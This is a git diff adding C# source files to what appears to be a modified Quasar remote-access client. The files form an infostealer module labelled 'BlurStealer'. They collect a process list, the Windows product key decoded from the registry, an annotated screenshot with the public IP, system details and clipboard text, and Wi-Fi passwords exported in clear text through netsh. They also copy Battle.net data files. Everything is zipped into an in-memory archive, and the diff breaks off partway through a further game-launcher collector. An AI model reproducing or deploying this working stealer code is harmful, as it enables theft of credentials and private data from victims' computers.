b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/ProcessDump.cs @@ -0,0 +1,43 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using Intelix.Helper; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Device; + +public class ProcessDump : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + try + { + List list = ProcessWindows.GetProcInfos().ToList(); + if (list.Count == 0) + { + return; + } + int totalWidth = Math.Max("Name".Length, list.Max((ProcessWindows.ProcInfo p) => p.Name?.Length ?? 0)); + int totalWidth2 = Math.Max("PID".Length, list.Max((ProcessWindows.ProcInfo p) => p.Pid?.Length ?? 0)); + int totalWidth3 = Math.Max("Path".Length, list.Max((ProcessWindows.ProcInfo p) => p.Path?.Length ?? 0)); + int totalWidth4 = Math.Max("Mem".Length, list.Max((ProcessWindows.ProcInfo p) => p.Memory?.Length ?? 0)); + string text = "Name".PadRight(totalWidth) + " | " + "PID".PadRight(totalWidth2) + " | " + "Path".PadRight(totalWidth3) + " | " + "Mem".PadRight(totalWidth4); + string value = new string('-', text.Length); + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine(text); + stringBuilder.AppendLine(value); + int result; + foreach (ProcessWindows.ProcInfo item in from x in list + orderby x.Name ?? string.Empty, (!int.TryParse(x.Pid, out result)) ? int.MaxValue : result + select x) + { + stringBuilder.AppendLine((item.Name ?? "Unknown").PadRight(totalWidth) + " | " + (item.Pid ?? "Unknown").PadRight(totalWidth2) + " | " + (item.Path ?? "Unknown").PadRight(totalWidth3) + " | " + (item.Memory ?? "Unknown").PadRight(totalWidth4)); + } + zip.AddTextFile("ProcessList.txt", stringBuilder.ToString()); + } + catch + { + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/ProductKey.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/ProductKey.cs new file mode 100755 index 0000000..d1ba43e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/ProductKey.cs @@ -0,0 +1,135 @@ +using System; +using System.Collections; +using System.Text; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Device; + +public class ProductKey : ITarget +{ + private enum DigitalProductIdVersion + { + UpToWindows7, + Windows8AndUp + } + + public void Collect(InMemoryZip zip, Counter counter) + { + try + { + RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32); + object obj = registryKey.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")?.GetValue("DigitalProductId"); + if (obj != null) + { + byte[] digitalProductId = (byte[])obj; + registryKey.Close(); + bool flag = (Environment.OSVersion.Version.Major == 6 && Environment.OSVersion.Version.Minor >= 2) || Environment.OSVersion.Version.Major > 6; + string windowsProductKeyFromDigitalProductId = GetWindowsProductKeyFromDigitalProductId(digitalProductId, flag ? DigitalProductIdVersion.Windows8AndUp : DigitalProductIdVersion.UpToWindows7); + if (!string.IsNullOrEmpty(windowsProductKeyFromDigitalProductId)) + { + string text = (IsWindowsActivatedFast() ? "Activated ✅" : "Not Activated ❌"); + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine("=== Windows Product Key Info ==="); + stringBuilder.AppendLine("Status : " + text); + stringBuilder.AppendLine("Key : " + windowsProductKeyFromDigitalProductId); + stringBuilder.AppendLine("================================"); + zip.AddTextFile("ProductKey.txt", stringBuilder.ToString()); + } + } + } + catch + { + } + } + + private string DecodeProductKeyWin8AndUp(byte[] digitalProductId) + { + string text = string.Empty; + byte b = (byte)((digitalProductId[66] / 6) & 1); + digitalProductId[66] = (byte)((digitalProductId[66] & 0xF7) | ((b & 2) * 4)); + int num = 0; + for (int num2 = 24; num2 >= 0; num2--) + { + int num3 = 0; + for (int num4 = 14; num4 >= 0; num4--) + { + num3 *= 256; + num3 = digitalProductId[num4 + 52] + num3; + digitalProductId[num4 + 52] = (byte)(num3 / 24); + num3 %= 24; + num = num3; + } + text = "BCDFGHJKMPQRTVWXY2346789"[num3] + text; + } + string text2 = text.Substring(1, num); + string text3 = text.Substring(num + 1, text.Length - (num + 1)); + text = text2 + "N" + text3; + for (int i = 5; i < text.Length; i += 6) + { + text = text.Insert(i, "-"); + } + return text; + } + + private string DecodeProductKey(byte[] digitalProductId) + { + char[] array = new char[24] + { + 'B', 'C', 'D', 'F', 'G', 'H', 'J', 'K', 'M', 'P', + 'Q', 'R', 'T', 'V', 'W', 'X', 'Y', '2', '3', '4', + '6', '7', '8', '9' + }; + char[] array2 = new char[29]; + ArrayList arrayList = new ArrayList(); + for (int i = 52; i <= 67; i++) + { + arrayList.Add(digitalProductId[i]); + } + for (int num = 28; num >= 0; num--) + { + if ((num + 1) % 6 == 0) + { + array2[num] = '-'; + } + else + { + int num2 = 0; + for (int num3 = 14; num3 >= 0; num3--) + { + int num4 = (num2 << 8) | (byte)arrayList[num3]; + arrayList[num3] = (byte)(num4 / 24); + num2 = num4 % 24; + array2[num] = array[num2]; + } + } + } + return new string(array2); + } + + private string GetWindowsProductKeyFromDigitalProductId(byte[] digitalProductId, DigitalProductIdVersion digitalProductIdVersion) + { + if (digitalProductIdVersion != DigitalProductIdVersion.Windows8AndUp) + { + return DecodeProductKey(digitalProductId); + } + return DecodeProductKeyWin8AndUp(digitalProductId); + } + + public static bool IsWindowsActivatedFast() + { + try + { + using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64).OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SoftwareProtectionPlatform"); + if (registryKey != null) + { + object value = registryKey.GetValue("BackupProductKeyDefault"); + return value != null && value.ToString().Length > 0; + } + } + catch + { + } + return false; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/ScreenShot.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/ScreenShot.cs new file mode 100755 index 0000000..8e6acb0 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/ScreenShot.cs @@ -0,0 +1,177 @@ +using System; +using System.Diagnostics; +using System.Drawing; +using System.Drawing.Drawing2D; +using System.Drawing.Imaging; +using System.Drawing.Text; +using System.IO; +using System.Windows.Forms; +using Intelix.Helper; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Device; + +public class ScreenShot : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + Rectangle bounds = Screen.PrimaryScreen.Bounds; + using Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format24bppRgb); + using Graphics graphics = Graphics.FromImage(bitmap); + IntPtr hdc = graphics.GetHdc(); + IntPtr windowDC = NativeMethods.GetWindowDC(NativeMethods.GetDesktopWindow()); + NativeMethods.BitBlt(hdc, 0, 0, bounds.Width, bounds.Height, windowDC, 0, 0, 13369376); + graphics.ReleaseHdc(hdc); + NativeMethods.ReleaseDC(NativeMethods.GetDesktopWindow(), windowDC); + graphics.SmoothingMode = SmoothingMode.AntiAlias; + graphics.TextRenderingHint = TextRenderingHint.ClearTypeGridFit; + graphics.InterpolationMode = InterpolationMode.HighQualityBicubic; + RectangleF rectangleF = new RectangleF(0f, 0f, bounds.Width, bounds.Height); + StringFormat format = new StringFormat + { + Alignment = StringAlignment.Center, + LineAlignment = StringAlignment.Center + }; + float num = Math.Max(24f, (float)bounds.Width / 40f); + using (Font font = new Font("Segoe UI Black", num, FontStyle.Bold, GraphicsUnit.Pixel)) + { + using GraphicsPath graphicsPath = new GraphicsPath(); + graphicsPath.AddString("", font.FontFamily, (int)font.Style, font.Size, rectangleF, format); + int num2 = 10; + for (int num3 = num2; num3 >= 1; num3--) + { + int alpha = (int)(30.0 * (1.0 - (double)num3 / (double)num2)) + 8; + using Pen pen = new Pen(width: num / 18f * (float)num3, color: Color.FromArgb(alpha, 0, 0, 0)); + pen.LineJoin = LineJoin.Round; + graphics.DrawPath(pen, graphicsPath); + } + using (LinearGradientBrush linearGradientBrush = new LinearGradientBrush(rectangleF, Color.Black, Color.FromArgb(255, 30, 30, 30), LinearGradientMode.Horizontal)) + { + ColorBlend colorBlend = new ColorBlend(); + colorBlend.Colors = new Color[4] + { + Color.Black, + Color.FromArgb(255, 20, 20, 20), + Color.FromArgb(255, 10, 10, 10), + Color.Black + }; + colorBlend.Positions = new float[4] { 0f, 0.45f, 0.75f, 1f }; + linearGradientBrush.InterpolationColors = colorBlend; + using PathGradientBrush pathGradientBrush = new PathGradientBrush(graphicsPath); + pathGradientBrush.CenterColor = Color.FromArgb(220, 60, 60, 60); + pathGradientBrush.SurroundColors = new Color[1] { Color.FromArgb(0, 0, 0, 0) }; + pathGradientBrush.CenterPoint = new PointF(rectangleF.Width * 0.5f, rectangleF.Height * 0.45f); + graphics.FillPath(linearGradientBrush, graphicsPath); + graphics.FillPath(pathGradientBrush, graphicsPath); + } + using (Pen pen2 = new Pen(Color.FromArgb(220, 80, 80, 80), Math.Max(2f, num / 28f))) + { + pen2.LineJoin = LineJoin.Round; + graphics.DrawPath(pen2, graphicsPath); + } + PointF[] array = new PointF[5] + { + new PointF(rectangleF.Width * 0.22f, rectangleF.Height * 0.38f), + new PointF(rectangleF.Width * 0.33f, rectangleF.Height * 0.52f), + new PointF(rectangleF.Width * 0.68f, rectangleF.Height * 0.4f), + new PointF(rectangleF.Width * 0.6f, rectangleF.Height * 0.6f), + new PointF(rectangleF.Width * 0.5f, rectangleF.Height * 0.3f) + }; + for (int i = 0; i < array.Length; i++) + { + PointF pointF = array[i]; + float num4 = Math.Max(2f, num / 28f); + using (SolidBrush brush = new SolidBrush(Color.FromArgb(230, 255, 255, 255))) + { + graphics.FillEllipse(brush, pointF.X - num4 / 2f, pointF.Y - num4 / 2f, num4, num4); + } + using SolidBrush brush2 = new SolidBrush(Color.FromArgb(80, 0, 0, 0)); + graphics.FillEllipse(brush2, pointF.X - num4 * 2f, pointF.Y - num4 * 2f, num4 * 4f, num4 * 4f); + } + } + string fileName = Process.GetCurrentProcess().MainModule.FileName; + string[] array2 = new string[12] + { + "Machine: " + Environment.MachineName, + "User: " + Environment.UserName, + $"Time: {DateTimeOffset.Now:yyyy-MM-dd HH:mm:ss zzz}", + $".NET: {Environment.Version}", + "CPU: " + CpuInfo.GetName(), + $"CPU Cores: {CpuInfo.GetLogicalCores()}", + "OS Product: " + WindowsInfo.GetProductName(), + "OS Build: " + WindowsInfo.GetBuildNumber(), + "OS Arch: " + WindowsInfo.GetArchitecture(), + "Public ip: " + IpApi.GetPublicIp(), + "Build Name: " + Path.GetFileName(Path.GetDirectoryName(fileName)) + "\\" + Path.GetFileName(fileName), + "" + }; + float num5 = Math.Max(12f, (float)bounds.Width / 120f); + using (Font font2 = new Font("Segoe UI", num5, FontStyle.Regular, GraphicsUnit.Pixel)) + { + float num6 = Math.Max(8f, num5 * 0.6f); + float num7 = 0f; + float num8 = 0f; + string[] array3 = array2; + foreach (string text in array3) + { + SizeF sizeF = graphics.MeasureString(text, font2); + if (sizeF.Width > num7) + { + num7 = sizeF.Width; + } + if (sizeF.Height > num8) + { + num8 = sizeF.Height; + } + } + float width = num7 + num6 * 2f; + float num9 = (float)array2.Length * num8 + num6 * 2f; + RectangleF rect = new RectangleF(12f, (float)bounds.Height - num9 - 12f, width, num9); + using (SolidBrush brush3 = new SolidBrush(Color.FromArgb(180, 6, 6, 10))) + { + using Pen pen3 = new Pen(Color.FromArgb(220, 60, 60, 80), 1f); + graphics.FillRectangle(brush3, rect); + graphics.DrawRectangle(pen3, rect.X, rect.Y, rect.Width, rect.Height); + } + float num10 = rect.X + num6; + float num11 = rect.Y + num6; + using SolidBrush brush4 = new SolidBrush(Color.FromArgb(160, 0, 0, 0)); + using SolidBrush brush5 = new SolidBrush(Color.FromArgb(240, 245, 250, 255)); + array3 = array2; + foreach (string s in array3) + { + graphics.DrawString(s, font2, brush4, new PointF(num10 + 1f, num11 + 1f)); + graphics.DrawString(s, font2, brush5, new PointF(num10, num11)); + num11 += num8; + } + } + using MemoryStream memoryStream = new MemoryStream(); + ImageCodecInfo imageCodecInfo = null; + ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); + for (int j = 0; j < imageEncoders.Length; j++) + { + if (string.Equals(imageEncoders[j].MimeType, "image/jpeg", StringComparison.OrdinalIgnoreCase)) + { + imageCodecInfo = imageEncoders[j]; + break; + } + } + if (imageCodecInfo != null) + { + Encoder quality = Encoder.Quality; + EncoderParameters encoderParameters = new EncoderParameters(1); + encoderParameters.Param[0] = new EncoderParameter(quality, 90L); + bitmap.Save(memoryStream, imageCodecInfo, encoderParameters); + } + else + { + bitmap.Save(memoryStream, ImageFormat.Jpeg); + } + byte[] array4 = memoryStream.ToArray(); + if (array4 != null && array4.Length != 0) + { + string entryPath = "screenshot.jpg"; + zip.AddFile(entryPath, array4); + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/SystemInfo.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/SystemInfo.cs new file mode 100755 index 0000000..d3fad33 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/SystemInfo.cs @@ -0,0 +1,311 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Net.NetworkInformation; +using System.Net.Sockets; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Intelix.Helper; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Device; + +internal class SystemInfo : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + try + { + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine("BlurStealer"); + stringBuilder.AppendLine(" "); + Task task = Task.Run(() => BuildUserSection()); + Task task2 = Task.Run(() => BuildNetworkSection()); + Task task3 = Task.Run(() => BuildSystemSection()); + Task task4 = Task.Run(() => BuildDrivesSection()); + Task task5 = Task.Run(() => BuildGpuSection()); + Task task6 = Task.Run(() => BuildBasicSection()); + Task.WaitAll(task, task2, task3, task4, task5, task6); + StringBuilder stringBuilder2 = new StringBuilder(); + stringBuilder2.Append(stringBuilder); + stringBuilder2.AppendLine(task.Result).AppendLine(); + stringBuilder2.AppendLine(task2.Result).AppendLine(); + stringBuilder2.AppendLine(task3.Result).AppendLine(); + stringBuilder2.AppendLine(task4.Result).AppendLine(); + stringBuilder2.AppendLine(task5.Result).AppendLine(); + stringBuilder2.AppendLine(task6.Result); + zip.AddTextFile("Information.txt", stringBuilder2.ToString()); + } + catch + { + } + } + + private static string BuildUserSection() + { + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine("[User Info]"); + try + { + stringBuilder.AppendLine("User: " + Environment.UserName); + stringBuilder.AppendLine("Machine: " + Environment.MachineName); + stringBuilder.AppendLine($"Now: {DateTime.Now:yyyy-MM-dd HH:mm:ss}"); + } + catch + { + stringBuilder.AppendLine("User/System fields unavailable"); + } + try + { + string text = InputLanguage.CurrentInputLanguage?.Culture?.TwoLetterISOLanguageName ?? "unknown"; + stringBuilder.AppendLine("Input ISO: " + text); + } + catch + { + stringBuilder.AppendLine("Input ISO: unknown"); + } + stringBuilder.AppendLine("Hwid: " + HwidGenerator.GetHwid()); + stringBuilder.AppendLine("Clipboard: " + GetClipboardTextNoTimeout()); + return stringBuilder.ToString().TrimEnd(); + } + + private static string BuildNetworkSection() + { + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine("[Network]"); + stringBuilder.AppendLine("External IP: " + IpApi.GetPublicIp()); + string text = "unavailable"; + string text2 = "unavailable"; + try + { + NetworkInterface[] allNetworkInterfaces = NetworkInterface.GetAllNetworkInterfaces(); + foreach (NetworkInterface networkInterface in allNetworkInterfaces) + { + if (networkInterface.OperationalStatus != OperationalStatus.Up || networkInterface.NetworkInterfaceType == NetworkInterfaceType.Loopback) + { + continue; + } + IPInterfaceProperties iPProperties = networkInterface.GetIPProperties(); + foreach (UnicastIPAddressInformation unicastAddress in iPProperties.UnicastAddresses) + { + if (unicastAddress.Address.AddressFamily == AddressFamily.InterNetwork) + { + text = unicastAddress.Address.ToString(); + break; + } + } + foreach (GatewayIPAddressInformation gatewayAddress in iPProperties.GatewayAddresses) + { + if (gatewayAddress.Address != null && gatewayAddress.Address.AddressFamily == AddressFamily.InterNetwork) + { + text2 = gatewayAddress.Address.ToString(); + break; + } + } + if (text != "unavailable" && text2 != "unavailable") + { + break; + } + } + } + catch + { + } + stringBuilder.AppendLine("Internal IP: " + text); + stringBuilder.AppendLine("Default Gateway: " + text2); + return stringBuilder.ToString().TrimEnd(); + } + + private static string BuildSystemSection() + { + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine("[System]"); + try + { + stringBuilder.AppendLine("OS Product: " + WindowsInfo.GetProductName()); + stringBuilder.AppendLine("OS Build: " + WindowsInfo.GetBuildNumber()); + stringBuilder.AppendLine("OS Arch: " + WindowsInfo.GetArchitecture()); + } + catch + { + stringBuilder.AppendLine("OS: unavailable"); + } + try + { + using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"); + string text = (registryKey?.GetValue("ProcessorNameString") as string) ?? (registryKey?.GetValue("VendorIdentifier") as string) ?? "Unknown"; + stringBuilder.AppendLine("CPU Name: " + text); + stringBuilder.AppendLine($"Logical Cores: {Environment.ProcessorCount}"); + } + catch + { + stringBuilder.AppendLine("CPU: unavailable"); + } + try + { + NativeMethods.MEMORYSTATUSEX lpBuffer = new NativeMethods.MEMORYSTATUSEX + { + dwLength = (uint)Marshal.SizeOf(typeof(NativeMethods.MEMORYSTATUSEX)) + }; + if (NativeMethods.GlobalMemoryStatusEx(ref lpBuffer)) + { + ulong num = lpBuffer.ullTotalPhys / 1024 / 1024; + ulong num2 = lpBuffer.ullAvailPhys / 1024 / 1024; + stringBuilder.AppendLine($"RAM Total (MB): {num}"); + stringBuilder.AppendLine($"RAM Available (MB): {num2}"); + } + else + { + stringBuilder.AppendLine("RAM: unavailable"); + } + } + catch + { + stringBuilder.AppendLine("RAM: unavailable"); + } + return stringBuilder.ToString().TrimEnd(); + } + + private static string BuildDrivesSection() + { + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine("[Drives]"); + try + { + List list = (from d in DriveInfo.GetDrives() + where d.IsReady + select d).Select(delegate(DriveInfo d) + { + long num = d.TotalSize / 1024 / 1024 / 1024; + long num2 = d.TotalFreeSpace / 1024 / 1024 / 1024; + return $"{d.Name.TrimEnd('\\')} {d.DriveType} FS:{d.DriveFormat} Size:{num}GB Free:{num2}GB"; + }).ToList(); + if (list.Any()) + { + foreach (string item in list) + { + stringBuilder.AppendLine(item); + } + } + else + { + stringBuilder.AppendLine("No ready drives"); + } + } + catch + { + stringBuilder.AppendLine("Drives: unavailable"); + } + return stringBuilder.ToString().TrimEnd(); + } + + private static string BuildGpuSection() + { + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine("[GPU]"); + try + { + List gpuNames = GetGpuNames(); + if (gpuNames.Any()) + { + foreach (string item in gpuNames) + { + stringBuilder.AppendLine(item); + } + } + else + { + stringBuilder.AppendLine("None"); + } + } + catch + { + stringBuilder.AppendLine("GPUs: unavailable"); + } + return stringBuilder.ToString().TrimEnd(); + } + + private static string BuildBasicSection() + { + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine("[Basic]"); + try + { + stringBuilder.AppendLine("User Domain: " + Environment.UserDomainName); + } + catch + { + stringBuilder.AppendLine("User Domain: unavailable"); + } + try + { + stringBuilder.AppendLine($"CLR Version: {Environment.Version}"); + } + catch + { + stringBuilder.AppendLine("CLR Version: unavailable"); + } + return stringBuilder.ToString().TrimEnd(); + } + + private static string GetClipboardTextNoTimeout() + { + string result = string.Empty; + try + { + Thread thread = new Thread((ThreadStart)delegate + { + try + { + if (Clipboard.ContainsText()) + { + result = Clipboard.GetText(); + } + } + catch + { + } + }); + thread.SetApartmentState(ApartmentState.STA); + thread.IsBackground = true; + thread.Start(); + thread.Join(); + } + catch + { + } + return result ?? string.Empty; + } + + private static List GetGpuNames() + { + List list = new List(); + try + { + uint num = 0u; + NativeMethods.DISPLAY_DEVICE lpDisplayDevice = default(NativeMethods.DISPLAY_DEVICE); + lpDisplayDevice.cb = Marshal.SizeOf(lpDisplayDevice); + while (NativeMethods.EnumDisplayDevices(null, num, ref lpDisplayDevice, 0u)) + { + if (!string.IsNullOrWhiteSpace(lpDisplayDevice.DeviceString)) + { + list.Add(lpDisplayDevice.DeviceString.Trim()); + } + num++; + lpDisplayDevice = new NativeMethods.DISPLAY_DEVICE + { + cb = Marshal.SizeOf(typeof(NativeMethods.DISPLAY_DEVICE)) + }; + } + } + catch + { + } + return list.Distinct().ToList(); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/WifiKey.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/WifiKey.cs new file mode 100755 index 0000000..8207a55 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/WifiKey.cs @@ -0,0 +1,262 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading.Tasks; +using System.Xml.Linq; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Device; + +public class WifiKey : ITarget +{ + private class WifiInfo + { + public string Profile; + + public string Key; + + public string Authentication; + + public string Cipher; + } + + public void Collect(InMemoryZip zip, Counter counter) + { + WifiInfo[] array = TryExportAndParseProfiles() ?? FallbackParseProfiles(); + if (array != null && array.Length != 0) + { + int num = Math.Max("Profile".Length, MaxLength(array, (WifiInfo r) => r.Profile)); + int num2 = Math.Max("Key".Length, MaxLength(array, (WifiInfo r) => r.Key)); + int num3 = Math.Max("Authentication".Length, MaxLength(array, (WifiInfo r) => r.Authentication)); + int num4 = Math.Max("Cipher".Length, MaxLength(array, (WifiInfo r) => r.Cipher)); + List list = new List(); + list.Add("Profile".PadRight(num) + " | " + "Key".PadRight(num2) + " | " + "Authentication".PadRight(num3) + " | " + "Cipher".PadRight(num4)); + list.Add(new string('-', num + num2 + num3 + num4 + 9)); + List list2 = list; + WifiInfo[] array2 = array; + foreach (WifiInfo wifiInfo in array2) + { + string text = (string.IsNullOrEmpty(wifiInfo.Profile) ? "N/A" : wifiInfo.Profile); + string text2 = (string.IsNullOrEmpty(wifiInfo.Key) ? "Not found" : wifiInfo.Key); + string text3 = (string.IsNullOrEmpty(wifiInfo.Authentication) ? "Not found" : wifiInfo.Authentication); + string text4 = (string.IsNullOrEmpty(wifiInfo.Cipher) ? "Not found" : wifiInfo.Cipher); + list2.Add(text.PadRight(num) + " | " + text2.PadRight(num2) + " | " + text3.PadRight(num3) + " | " + text4.PadRight(num4)); + } + zip.AddTextFile("WifiKeys.txt", string.Join("\n", list2)); + } + } + + private int MaxLength(WifiInfo[] arr, Func selector) + { + if (arr == null || arr.Length == 0) + { + return 0; + } + int num = 0; + for (int i = 0; i < arr.Length; i++) + { + string text = selector(arr[i]) ?? ""; + if (text.Length > num) + { + num = text.Length; + } + } + return num; + } + + private WifiInfo[] TryExportAndParseProfiles() + { + string text = Path.Combine(Path.GetTempPath(), "IntelixWifiExport_" + Guid.NewGuid().ToString("N")); + try + { + Directory.CreateDirectory(text); + } + catch + { + return null; + } + try + { + using (Process process = new Process + { + StartInfo = new ProcessStartInfo + { + FileName = "netsh", + Arguments = "wlan export profile key=clear folder=\"" + text + "\"", + UseShellExecute = false, + RedirectStandardOutput = false, + CreateNoWindow = true + } + }) + { + process.Start(); + process.WaitForExit(5000); + } + string[] array = Directory.EnumerateFiles(text, "*.xml").ToArray(); + if (array.Length == 0) + { + return null; + } + List list = new List(array.Length); + string[] array2 = array; + foreach (string text2 in array2) + { + try + { + XDocument xDocument = XDocument.Load(text2); + string text3 = xDocument.Descendants().FirstOrDefault((XElement e) => string.Equals(e.Name.LocalName, "name", StringComparison.OrdinalIgnoreCase) && e.Parent != null && string.Equals(e.Parent.Name.LocalName, "SSID", StringComparison.OrdinalIgnoreCase))?.Value; + if (string.IsNullOrEmpty(text3)) + { + text3 = Path.GetFileNameWithoutExtension(text2); + } + string text4 = xDocument.Descendants().FirstOrDefault((XElement e) => string.Equals(e.Name.LocalName, "keyMaterial", StringComparison.OrdinalIgnoreCase))?.Value; + string text5 = xDocument.Descendants().FirstOrDefault((XElement e) => string.Equals(e.Name.LocalName, "authentication", StringComparison.OrdinalIgnoreCase))?.Value; + string text6 = xDocument.Descendants().FirstOrDefault((XElement e) => string.Equals(e.Name.LocalName, "encryption", StringComparison.OrdinalIgnoreCase))?.Value; + list.Add(new WifiInfo + { + Profile = (text3 ?? "N/A"), + Key = (string.IsNullOrEmpty(text4) ? "Not found" : text4), + Authentication = (string.IsNullOrEmpty(text5) ? "Not found" : text5), + Cipher = (string.IsNullOrEmpty(text6) ? "Not found" : text6) + }); + } + catch + { + } + } + return list.ToArray(); + } + catch + { + return null; + } + finally + { + try + { + if (Directory.Exists(text)) + { + Directory.Delete(text, recursive: true); + } + } + catch + { + } + } + } + + private WifiInfo[] FallbackParseProfiles() + { + string[] profiles = Profiles(); + if (profiles == null || profiles.Length == 0) + { + return new WifiInfo[0]; + } + WifiInfo[] results = new WifiInfo[profiles.Length]; + Parallel.For(0, profiles.Length, delegate(int i) + { + string text = profiles[i]; + try + { + using Process process = new Process + { + StartInfo = new ProcessStartInfo + { + FileName = "netsh", + Arguments = "wlan show profile name=\"" + text + "\" key=clear", + UseShellExecute = false, + RedirectStandardOutput = true, + CreateNoWindow = true, + StandardOutputEncoding = Encoding.UTF8 + } + }; + process.Start(); + string input = process.StandardOutput.ReadToEnd(); + process.WaitForExit(); + string match = GetMatch(input, "Key Content\\s*:\\s*(.+)"); + string match2 = GetMatch(input, "Authentication\\s*:\\s*(.+)"); + string match3 = GetMatch(input, "Cipher\\s*:\\s*(.+)"); + results[i] = new WifiInfo + { + Profile = text, + Key = (string.IsNullOrEmpty(match) ? "Not found" : match), + Authentication = (string.IsNullOrEmpty(match2) ? "Not found" : match2), + Cipher = (string.IsNullOrEmpty(match3) ? "Not found" : match3) + }; + } + catch + { + results[i] = new WifiInfo + { + Profile = text, + Key = "Error", + Authentication = "Error", + Cipher = "Error" + }; + } + }); + return results; + } + + private string[] Profiles() + { + string[] array2; + try + { + using Process process = new Process + { + StartInfo = new ProcessStartInfo + { + FileName = "netsh", + Arguments = "wlan show profiles", + UseShellExecute = false, + RedirectStandardOutput = true, + CreateNoWindow = true, + StandardOutputEncoding = Encoding.UTF8 + } + }; + process.Start(); + string text = process.StandardOutput.ReadToEnd(); + process.WaitForExit(); + string[] array = text.Split(new char[2] { '\r', '\n' }, StringSplitOptions.RemoveEmptyEntries); + List list = new List(); + array2 = array; + foreach (string text2 in array2) + { + int num = text2.LastIndexOf(':'); + if (num >= 0 && num + 1 < text2.Length) + { + string text3 = text2.Substring(num + 1).Trim(); + if (!string.IsNullOrEmpty(text3)) + { + list.Add(text3); + } + } + } + array2 = list.ToArray(); + } + catch + { + array2 = new string[0]; + } + return array2; + } + + private string GetMatch(string input, string pattern) + { + if (string.IsNullOrEmpty(input)) + { + return string.Empty; + } + Match match = Regex.Match(input, pattern, RegexOptions.IgnoreCase | RegexOptions.Multiline); + if (!match.Success) + { + return string.Empty; + } + return match.Groups[1].Value.Trim(); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/BattleNet.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/BattleNet.cs new file mode 100755 index 0000000..4a6920c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/BattleNet.cs @@ -0,0 +1,45 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Games; + +public class BattleNet : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Battle.net"); + if (!Directory.Exists(path)) + { + return; + } + string[] obj = new string[2] { "*.db", "*.config" }; + Counter.CounterApplications counterApplications = new Counter.CounterApplications + { + Name = "BattleNet" + }; + string[] array = obj; + foreach (string searchPattern in array) + { + string[] files = Directory.GetFiles(path, searchPattern, SearchOption.AllDirectories); + foreach (string fileName in files) + { + try + { + FileInfo fileInfo = new FileInfo(fileName); + string text = Path.Combine(Path.Combine("BattleNet", (fileInfo.Directory?.Name == "Battle.net") ? "" : fileInfo.Directory?.Name), fileInfo.Name); + zip.AddFile(text, File.ReadAllBytes(fileInfo.FullName)); + counterApplications.Files.Add(fileInfo.FullName + " => " + text); + } + catch + { + } + } + } + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add("BattleNet\\"); + counter.Games.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/ElectronicArts.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/ElectronicArts.cs new file mode 100755 index 0000000..0d2e568 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/ElectronicArts.cs @@ -0,0 +1,60 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Games; + +public class ElectronicArts : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) 